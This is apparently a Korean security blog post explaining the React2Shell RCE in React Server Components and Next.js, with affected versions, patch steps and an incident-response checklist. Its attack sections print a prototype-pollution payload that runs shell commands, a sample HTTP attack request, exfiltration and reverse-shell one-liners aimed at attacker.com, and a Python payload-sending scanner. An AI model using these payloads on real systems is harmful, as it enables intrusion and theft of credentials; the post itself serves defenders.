문제 상황 (Problem)

2025년 12월 3일, React 생태계에 10.0 CVSS (Critical) 등급의 치명적인 보안 취약점이 공개되었다.

문제는 이것이 코드를 한 줄도 작성하지 않은 기본 Next.js 앱에서도 발생한다는 점이다.

1
2
3
4
5
6
7
# 취약한 기본 앱 생성
npx create-next-app@latest my-app
cd my-app
npm run build
npm start

# 🚨 이 상태로 배포하면 즉시 공격 가능

발표 후 몇 시간 내에 중국 국가 지원 해킹 그룹(Earth Lamia, Jackpot Panda)이 실제 공격을 시작했으며, 현재 CISA KEV(Known Exploited Vulnerabilities) 목록에 등재된 상태다.


CVE-2025-55182란?

기본 정보

항목내용
CVE IDCVE-2025-55182
별칭React2Shell
CVSS 점수10.0 (Critical)
취약점 유형Insecure Deserialization → RCE
발견자Lachlan Davidson
공개일2025년 12월 3일
공격 난이도매우 낮음 (HTTP 요청 1번)
인증 필요없음 (Unauthenticated RCE)

영향 범위

Wiz 조사 결과, 클라우드 환경의 39%에 취약한 Next.js 또는 React 인스턴스가 존재한다.


영향받는 버전 (Affected Versions)

React (react-server-dom)

패키지취약한 버전패치된 버전
react-server-dom-webpack19.0.x, 19.1.x, 19.2.x19.0.1, 19.1.2, 19.2.1
react-server-dom-vite19.0.x, 19.1.x, 19.2.x19.0.1, 19.1.2, 19.2.1
react-server-dom-esm19.0.x, 19.1.x, 19.2.x19.0.1, 19.1.2, 19.2.1

Next.js

Next.js 버전상태패치 버전
14.x (Stable)✅ 안전-
14.3.0-canary.77 이상 (Canary)❌ 취약-
15.0.0 ~ 15.0.4❌ 취약15.0.5+
15.1.0 ~ 15.1.8❌ 취약15.1.9+
16.x (모든 버전)❌ 취약16.0.1+

기타 프레임워크

React Server Components를 지원하는 모든 프레임워크가 영향을 받는다:

  • Vite RSC
  • Parcel RSC
  • React Router RSC
  • RedwoodSDK
  • Waku

공격 메커니즘 (Attack Mechanism)

취약점의 핵심

React Server Components(RSC)는 서버와 클라이언트 간 데이터 전송을 위해 “Flight” 프로토콜을 사용한다.

문제는 이 프로토콜에서 클라이언트로부터 받은 데이터를 역직렬화(Deserialize)할 때 검증을 하지 않는다는 것이다.

Prototype Pollution 공격

1
2
3
4
5
6
// ❌ 취약한 역직렬화 과정
{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "_prefix": "process.mainModule.require('child_process').execSync('whoami');"
}

공격자는 JavaScript의 Prototype Pollution 기법을 이용하여:

  1. __proto__ 속성을 조작
  2. process.mainModule.require() 호출
  3. child_process.execSync() 실행
  4. 서버에서 임의의 명령 실행

실제 공격 요청

1
2
3
4
5
6
7
8
9
10
11
12
# 취약한 Next.js 앱 공격 예시
POST /api/react-server HTTP/1.1
Host: vulnerable-app.example.com
Content-Type: application/json

{
  "0": {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "_prefix": "process.mainModule.require('child_process').execSync('cat /etc/passwd > /tmp/pwned');"
  }
}

공격 특징

1
2
3
4
5
✅ 인증 불필요 (Unauthenticated)
✅ 기본 설정에서 동작 (Default Configuration)
✅ 성공률 거의 100% (Near 100% Reliability)
✅ Server Actions 사용 안 해도 취약 (RSC만 지원하면 됨)
✅ 단일 HTTP 요청으로 완료

실제 공격 사례 (Exploitation in the Wild)

타임라인

1
2
3
4
5
2025-12-03 (공개일)
    ⬇️ 몇 시간 후
2025-12-03 22:00 (UTC)
    ⬇️ 대규모 스캔 시작
800+ 개 IP 주소에서 공격 시도 감지

관찰된 공격 유형

Datadog Security Labs와 AWS Threat Intelligence 팀이 감지한 공격 패턴:

1. 환경 변수 탈취

1
2
3
# 공격 페이로드 예시
cat /etc/passwd | curl -X POST https://attacker.com/exfil
env | grep -E '(AWS|SECRET|KEY|TOKEN)' > /tmp/creds.txt

2. 역쉘(Reverse Shell) 설치

1
2
3
4
5
# 원격 서버로 쉘 연결
bash -i >& /dev/tcp/attacker.com/4444 0>&1

# 또는 스크립트 다운로드 후 실행
curl https://attacker.com/malware.sh | bash

3. 시스템 정보 수집

1
2
3
4
# OS, 아키텍처, 네트워크 정보 수집
uname -a
ifconfig
ps aux

공격 그룹

위협 그룹국가활동 시작
Earth Lamia중국2025-12-03
Jackpot Panda중국2025-12-03

즉시 확인 방법

1. Next.js 버전 확인

1
2
3
4
5
# package.json 확인
cat package.json | grep next

# 실행 중인 앱 확인
npm list next

2. React 버전 확인

1
2
3
4
5
npm list react react-dom

# 취약 여부 판단
# react 19.0.x ~ 19.2.x → ❌ 취약
# react 19.0.1, 19.1.2, 19.2.1+ → ✅ 안전

3. 빠른 취약점 스캔

1
2
3
4
5
# 1. RSC 엔드포인트 확인
curl -I https://your-app.com

# 2. package-lock.json에서 검색
grep -E "react-server-dom|next" package-lock.json

해결 방법 (Mitigation)

즉시 조치: 패키지 업그레이드

Next.js 업그레이드

1
2
3
4
5
6
7
8
9
10
# 1. Next.js 15.x 사용 중
npm install next@15.0.5
# 또는
npm install next@15.1.9

# 2. Next.js 16.x 사용 중
npm install next@16.0.1

# 3. 재배포 필수
npm run build

React 업그레이드

1
2
3
# React 19.x 사용 중
npm install react@19.2.1 react-dom@19.2.1
npm install react-server-dom-webpack@19.2.1  # 사용 중인 경우

package.json 수정 예시

1
2
3
4
5
6
7
{
  "dependencies": {
    "next": "^15.1.9",
    "react": "^19.2.1",
    "react-dom": "^19.2.1"
  }
}

패치 후 검증

1
2
3
4
5
6
7
8
9
10
# 1. 의존성 재설치
rm -rf node_modules package-lock.json
npm install

# 2. 빌드 및 배포
npm run build
npm start

# 3. 버전 확인
npm list next react

완화(Workaround)가 없는 이유

일부 취약점과 달리, CVE-2025-55182는 완화 방법이 없다.

1
2
3
4
5
6
❌ WAF 규칙 추가 (우회 가능)
❌ 특정 엔드포인트 비활성화 (RSC 전체가 영향받음)
❌ 방화벽 설정 (HTTP 요청 자체를 막을 수 없음)
❌ 환경 변수 제거 (시스템 명령 실행 자체가 문제)

✅ 유일한 해결책: 패치된 버전으로 즉시 업그레이드

보안 점검 체크리스트

배포 전 확인 사항

1
2
3
4
5
□ Next.js 버전이 15.0.5+ 또는 15.1.9+ 또는 16.0.1+인가?
□ React 버전이 19.0.1, 19.1.2, 19.2.1+ 인가?
□ package-lock.json이 업데이트되었는가?
□ 프로덕션 빌드가 새 버전으로 되었는가?
□ 모든 환경(dev, staging, prod)에 패치가 적용되었는가?

사고 발생 시 대응

1
2
3
4
5
6
7
8
# 1. 즉시 서버 격리 (네트워크 차단)
# 2. 침해 흔적 확인
grep -r "child_process\|execSync\|require" /var/log/
find /tmp -type f -mtime -1  # 최근 생성된 파일

# 3. 환경 변수 재발급 (AWS, DB 등)
# 4. 접근 로그 분석
tail -f /var/log/nginx/access.log | grep "POST.*react-server"

왜 이렇게 빠르게 공격받았는가?

공개 PoC의 위험성

취약점 공개와 동시에 작동하는 PoC(Proof of Concept)가 GitHub에 올라왔다.

1
2
3
공개 PoC → 자동화 스크립트 → 대규모 스캔 → 공격
       ↑
    몇 시간 이내

공격 자동화

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 공격자가 사용하는 스캔 스크립트 예시 (교육 목적)
import requests

def check_react2shell(target):
    payload = {
        "0": {
            "then": "$1:__proto__:then",
            "status": "resolved_model",
            "_prefix": "process.mainModule.require('child_process').execSync('id');"
        }
    }
    try:
        r = requests.post(f"{target}/api/react-server", json=payload, timeout=5)
        # 응답 분석...
    except:
        pass

# Shodan, Censys에서 Next.js 앱 검색 후 자동 공격

핵심 포인트 정리

  1. 기본 설정이 취약 - 코드 한 줄 안 써도 공격당함.
  2. 완화 방법 없음 - 패치 업그레이드가 유일한 해결책.
  3. 인증 불필요 - 외부에서 HTTP 요청만으로 서버 장악 가능.
  4. 이미 악용 중 - CISA KEV 등재, 국가 지원 해킹 그룹 활동 중.
  5. 영향 범위 광범위 - RSC 지원하는 모든 프레임워크 영향.

장기적 교훈

1. Deserialization은 위험하다

1
2
3
4
5
6
7
// ❌ 나쁜 예: 사용자 입력을 그대로 역직렬화
JSON.parse(userInput)
eval(userInput)

// ✅ 좋은 예: 스키마 검증 후 역직렬화
const schema = Joi.object({ name: Joi.string(), age: Joi.number() });
const { error, value } = schema.validate(JSON.parse(userInput));

2. 서버 사이드 검증 필수

클라이언트에서 보낸 모든 데이터는 악의적이라고 가정해야 한다.

1
2
3
4
5
Client Data → Server
              ↓
         [Validation]  ← 여기서 반드시 검증
              ↓
         [Deserialization]

3. 의존성 업데이트 자동화

1
2
3
4
5
6
7
8
# Dependabot 설정 (.github/dependabot.yml)
version: 2
updates:
  - package-ecosystem: "npm"
    directory: "/"
    schedule:
      interval: "daily"
    open-pull-requests-limit: 10

참고 자료

취약점 분석 및 공식 발표:


마치며

CVE-2025-55182는 2025년 가장 치명적인 웹 프레임워크 취약점 중 하나입니다.

CVSS 10.0, 인증 불필요, 기본 설정 취약, 공개 PoC 존재, 실제 공격 진행 중 등 모든 조건이 최악입니다.

Next.js나 React 19.x를 사용하는 팀이라면 지금 즉시 패치 버전으로 업그레이드하고 재배포해야 합니다. 늦으면 늦을수록 공격받을 확률이 높아집니다.

보안 패치는 “나중에”가 아니라 “지금” 해야 합니다.

도움이 되셨길 바랍니다! 😀